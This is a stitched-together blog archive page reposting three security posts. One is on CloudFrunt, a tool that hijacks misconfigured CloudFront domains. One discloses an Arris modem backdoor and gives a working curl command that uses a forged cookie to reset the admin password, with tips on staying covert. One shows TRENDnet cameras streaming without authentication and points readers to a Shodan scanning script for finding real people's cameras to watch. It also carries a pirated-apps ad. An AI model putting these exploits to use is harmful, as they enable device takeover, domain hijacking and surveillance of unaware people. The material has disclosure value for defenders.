wearyourheartout: 06/08/20

Monday, June 8, 2020

CloudFrunt - A Tool For Identifying Misconfigured CloudFront Domains

CloudFrunt is a tool for identifying misconfigured CloudFront domains.

Background

CloudFront is a Content Delivery Network (CDN) provided by Amazon Web Services (AWS). CloudFront users create "distributions" that serve content from specific sources (an S3 bucket, for example).

Each CloudFront distribution has a unique endpoint for users to point their DNS records to (ex. d111111abcdef8.cloudfront.net). All of the domains using a specific distribution need to be listed in the "Alternate Domain Names (CNAMEs)" field in the options for that distribution.

When a CloudFront endpoint receives a request, it does NOT automatically serve content from the corresponding distribution. Instead, CloudFront uses the HOST header of the request to determine which distribution to use. This means two things:

If the HOST header does not match an entry in the "Alternate Domain Names (CNAMEs)" field of the intended distribution, the request will fail.
Any other distribution that contains the specific domain in the HOST header will receive the request and respond to it normally.

This is what allows the domains to be hijacked. There are many cases where a CloudFront user fails to list all the necessary domains that might be received in the HOST header. For example:

The domain "test.disloops.com" is a CNAME record that points to "disloops.com".
The "disloops.com" domain is set up to use a CloudFront distribution.
Because "test.disloops.com" was not added to the "Alternate Domain Names (CNAMEs)" field for the distribution, requests to "test.disloops.com" will fail.
Another user can create a CloudFront distribution and add "test.disloops.com" to the "Alternate Domain Names (CNAMEs)" field to hijack the domain.

This means that the unique endpoint that CloudFront binds to a single distribution is effectively meaningless. A request to one specific CloudFront subdomain is not limited to the distribution it is associated with.

Installation

$ pip install boto3
$ pip install netaddr
$ pip install dnspython
$ git clone https://github.com/disloops/cloudfrunt.git
$ cd cloudfrunt
$ git clone https://github.com/darkoperator/dnsrecon.git

CloudFrunt expects the dnsrecon script to be cloned into a subdirectory called dnsrecon.

Usage

cloudfrunt.py [-h] [-l TARGET_FILE] [-d DOMAINS] [-o ORIGIN] [-i ORIGIN_ID] [-s] [-N]

-h, --help                      Show this message and exit
-s, --save                      Save the results to results.txt
-N, --no-dns                    Do not use dnsrecon to expand scope
-l, --target-file TARGET_FILE   File containing a list of domains (one per line)
-d, --domains DOMAINS           Comma-separated list of domains to scan
-o, --origin ORIGIN             Add vulnerable domains to new distributions with this origin
-i, --origin-id ORIGIN_ID       The origin ID to use with new distributions

Example

$ python cloudfrunt.py -o cloudfrunt.com.s3-website-us-east-1.amazonaws.com -i S3-cloudfrunt -l list.txt

 CloudFrunt v1.0.3

 [+] Enumerating DNS entries for google.com
 [-] No issues found for google.com

 [+] Enumerating DNS entries for disloops.com
 [+] Found CloudFront domain --> cdn.disloops.com
 [+] Found CloudFront domain --> test.disloops.com
 [-] Potentially misconfigured CloudFront domains:
 [#] --> test.disloops.com
 [+] Created new CloudFront distribution EXBC12DE3F45G
 [+] Added test.disloops.com to CloudFront distribution EXBC12DE3F45G

Download CloudFrunt

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Arris Cable Modem Backdoor - I'm A Technician, Trust Me.

Vendor backdoors are the worst. Sloppy coding leading to unintentional "bugdoors" is somewhat defendable, but flat out backdoors are always unacceptable. Todays example is brought to you by Arris. A great quote from their site -

Subscribers want their internet to be two things, fast and worry free. Cable operators deploy services to meet the speed expectations, and trust ARRIS to provide the cable modems that deliver the reliability.

Nothing spells "trust" and "worry free" like a backdoor account, right?! Anyways, the following was observed on an Arris TG862G cable modem running the following firmware version -TS070563_092012_MODEL_862_GW

After successfully providing the correct login and password to the modems administration page, the following cookie is set (client side):

Cookie: credential=eyJ2YWxpZCI6dHJ1ZSwidGVjaG5pY2lhbiI6ZmFsc2UsImNyZWRlbnRpYWwiOiJZV1J0YVc0NmNHRnpjM2R2Y21RPSIsInByaW1hcnlPbmx5IjpmYWxzZSwiYWNjZXNzIjp7IkFMTCI6dHJ1ZX0sIm5hbWUiOiJhZG1pbiJ9

All requests must have a valid "credential" cookie set (this was not the case in a previous FW release - whoops) if the cookie is not present the modem will reply with "PLEASE LOGIN". The cookie value is just a base64 encoded json object:

{"valid":true,"technician":false,"credential":"YWRtaW46cGFzc3dvcmQ=","primaryOnly":false,"access":{"ALL":true},"name":"admin"}

And after base64 decoding the "credential" value we get:

{"valid":true,"technician":false,"credential":"admin:password","primaryOnly":false,"access":{"ALL":true},"name":"admin"}

Sweet, the device is sending your credentials on every authenticated request (without HTTPS), essentially they have created basic-auth 2.0 - As the kids say "YOLO". The part that stuck out to me is the "technician" value that is set to "false" - swapping it to "true" didn't do anything exciting, but after messing around a bit I found that the following worked wonderfully:

Cookie: credential=eyJjcmVkZW50aWFsIjoiZEdWamFHNXBZMmxoYmpvPSJ9

Which decodes to the following:

{"credential":"dGVjaG5pY2lhbjo="}

And finally:

{"credential":"technician:"}

Awesome, the username is "technician" and the password is empty. Trying to log into the interface using these credentials does not work :(

That is fairly odd. I can't think of a reasonable reason for a hidden account that is unable to log into the UI. So what exactly can you do with this account? Well, the web application is basically a html/js wrapper to some CGI that gets/sets SNMP values on the modem. It is worth noting that on previous FW revisions the CGI calls did NOT require any authentication and could be called without providing a valid "credential" cookie. That bug was killed a few years ago at HOPE 9.

Now we can resurrect the ability to set/get SNMP values by setting our "technician" account:

That's neat, but we would much rather be using the a fancy "web 2.0" UI that a normal user is accustomed to, instead of manually setting SNMP values like some sort of neckbearded unix admin. Taking a look at the password change functionality appeared to be a dead end as it requires the previous password to set a new one:

Surprisingly the application does check the value of the old password too! Back to digging around the following was observed in the "mib.js" file:

SysCfg.AdminPassword= new Scalar("AdminPassword","1.3.6.1.4.1.4115.1.20.1.1.5.1",4);

Appears that the OID "1.3.6.1.4.1.4115.1.20.1.1.5.1" holds the value of the "Admin" password! Using the "technician" account to get/walk this OID comes up with nothing:

HTTP/1.1 200 OK
Date: Tue, 23 Sep 2014 19:58:40 GMT
Server: lighttpd/1.4.26-devel-5842M
Content-Length: 55
{
"1.3.6.1.4.1.4115.1.20.1.1.5.1.0":"",
"1":"Finish"
}

What about setting a new value? Surely that will not work....

That response looks hopeful. We can now log in with the password "krad_password" for the "admin" user:

This functionality can be wrapped up in the following curl command:

curl -isk -X 'GET' -b 'credential=eyJjcmVkZW50aWFsIjoiZEdWamFHNXBZMmxoYmpvPSJ9' 'http://192.168.100.1:8080/snmpSet?oid=1.3.6.1.4.1.4115.1.20.1.1.5.1.0=krad_password;4;'

Of course if you change the password you wouldn't be very sneaky, a better approach would be re-configuring the modems DNS settings perhaps? It's also worth noting that the SNMP set/get is CSRF'able if you were to catch a user who had recently logged into their modem.

The real pain here is that Arris keeps their FW locked up tightly and only allows Cable operators to download revisions/fixes/updates, so you are at the mercy of your Cable operator, even if Arris decides that its worth the time and effort to patch this ~~bug~~ backdoor - you as the end user CANNOT update your device because the interface doesn't provide that functionality to you! Next level engineering.

Trendnet Cameras - I Always Feel Like Somebody'S Watching Me.

Firstly this post requires the following song to be playing.

http://www.youtube.com/watch?v=wVfjwIyc-CU

Now that we got that out of the way... I have been seeing posts on sites with people having fun with embedded systems/devices and I was feeling left out. I didn't really want to go out and buy a device so I looked at what was laying around.

Enter the Trendnet TV-IP110w - http://www.trendnet.com/products/proddetail.asp?prod=145_TV-IP110W

To start off the latest firmware for this device can be found at the following location :

http://downloads.trendnet.com/tv-ip110w/firmware/FW_TV-IP110W_A1.x(1.1.0.104).zip

First order of business was to update the camera with the most recent firmware:

Device info page confirming firmware version

Now that the device was using the same version of firmware as I was going to dive into, lets get to work. I will be using binwalk to fingerprint file headers that exist inside the firmware file. Binwalk can be downloaded from the following url: http://code.google.com/p/binwalk/

Running binwalk against the firmware file

binwalk FW_TV-IP110W_1.1.0-104_20110325_r1006.pck
DECIMAL HEX DESCRIPTION
-------------------------------------------------------------------------------------------------------
32320 0x7E40 gzip compressed data, from Unix, last modified: Thu Mar 24 22:59:08 2011, max compression
679136 0xA5CE0 gzip compressed data, was "rootfs", from Unix, last modified: Thu Mar 24 22:59:09 2011, max compression

Looks like there are two gzip files in the "pck" file. Lets carve them out using 'dd'. First cut the head off the file and save it off as '1_unk'

#dd if=FW_TV-IP110W_1.1.0-104_20110325_r1006.pck of=1_unk bs=1 count=32320
32320+0 records in
32320+0 records out
32320 bytes (32 kB) copied, 0.167867 s, 193 kB/s

Next cut out the first gzip file that was identified, we will call this file '2'

#dd if=FW_TV-IP110W_1.1.0-104_20110325_r1006.pck of=2 bs=1 skip=32320 count=646816
646816+0 records in
646816+0 records out
646816 bytes (647 kB) copied, 2.87656 s, 225 kB/s

Finally cut the last part of the file out that was identified as being a gzip file, call this file '3'

#dd if=FW_TV-IP110W_1.1.0-104_20110325_r1006.pck of=3 bs=1 skip=679136
2008256+0 records in
2008256+0 records out
2008256 bytes (2.0 MB) copied, 8.84203 s, 227 kB/s

For this post I am going to ignore files '1_unk' and '2' and just concentrate on file '3' as it contains an interesting bug :) Make a copy of the file '3' and extract it using gunzip

#file 3
3: gzip compressed data, was "rootfs", from Unix, last modified: Thu Mar 24 22:59:09 2011, max compression
#cp 3 3z.gz
#gunzip 3z.gz
gzip: 3z.gz: decompression OK, trailing garbage ignored
#file 3z
3z: Minix filesystem, 30 char names

As we can see the file '3' was a compressed Minix file system. Lets mount it and take a look around.

#mkdir cameraFS
#sudo mount -o loop -t minix 3z cameraFS/
#cd cameraFS/
#ls
bin dev etc lib linuxrc mnt proc sbin server tmp usr var

There is all sorts of interesting stuff in the "/server" directory but we are going to zero in on a specific directory "/server/cgi-bin/anony/"

#cd server/cgi-bin/anony/
#ls
jpgview.htm mjpeg.cgi mjpg.cgi view2.cgi

The "cgi-bin" directory is mapped to the root directory of http server of the camera, knowing this we can make a request to http://192.168.1.17/anony/mjpg.cgi and surprisingly we get a live stream from the camera.

video stream. giving no fucks.

Now at first I am thinking, well the directory is named "anony" that means anonymous so this must be something that is enabled in the settings that we can disable.... Looking at the configuration screen you can see where users can be configured to access the camera. The following screen shows the users I have configured (user, guest)

Users configured with passwords.

Still after setting up users with passwords the camera is more than happy to let me view its video stream by making our previous request. There does not appear to be a way to disable access to the video stream, I can't really believe this is something that is intended by the manufacturer. Lets see who is out there :)

Because the web server requires authentication to access it (normally) we can use this information to fingerprint the camera easily. We can use the realm of 'netcam' to conduct our searches

HTTP Auth with 'netcam' realm

Hopping on over to Shodan (http://www.shodanhq.com) we can search for 'netcam' and see if there is anyone out there for us to watch

9,500 results

If we check a few we can see this is limited to only those results with the realm of 'netcam' and not 'Netcam'

creepy hole in the wall

front doors to some business

Doing this manually is boring and tedious, wouldn't it be great if we could automagically walk through all 9,500 results and log the 'good' hosts.... http://consolecowboys.org/scripts/camscan.py

This python script requires the shodan api libs http://docs.shodanhq.com/ and an API key. It will crawl the shodan results and check if the device is vulnerable and log it. The only caveat here is that the shodan api.py file needs to be edited to allow for including result page offsets. I have highlighted the required changes below.

def search(self, query,page=1):
"""Search the SHODAN database.

Arguments:
query -- search query; identical syntax to the website
page -- page number of results

Returns:
A dictionary with 3 main items: matches, countries and total.
Visit the website for more detailed information.

"""
return self._request('search', {'q': query,'page':page})

Last I ran this there was something like 350 vulnerable devices that were available via shodan. Enjoy.

Update: We are in no way associated with the @TRENDnetExposed twitter account.

wearyourheartout

Monday, June 8, 2020

CloudFrunt - A Tool For Identifying Misconfigured CloudFront Domains

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DOWNLOAD BLACKMART ANDROID APP – DOWNLOAD PLAYSTORE PAID APPS FREE

DOWNLOAD BLACKMART ANDROID APP – DOWNLOAD PLAYSTORE PAID APPS FREE

Arris Cable Modem Backdoor - I'm A Technician, Trust Me.

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Trendnet Cameras - I Always Feel Like Somebody'S Watching Me.

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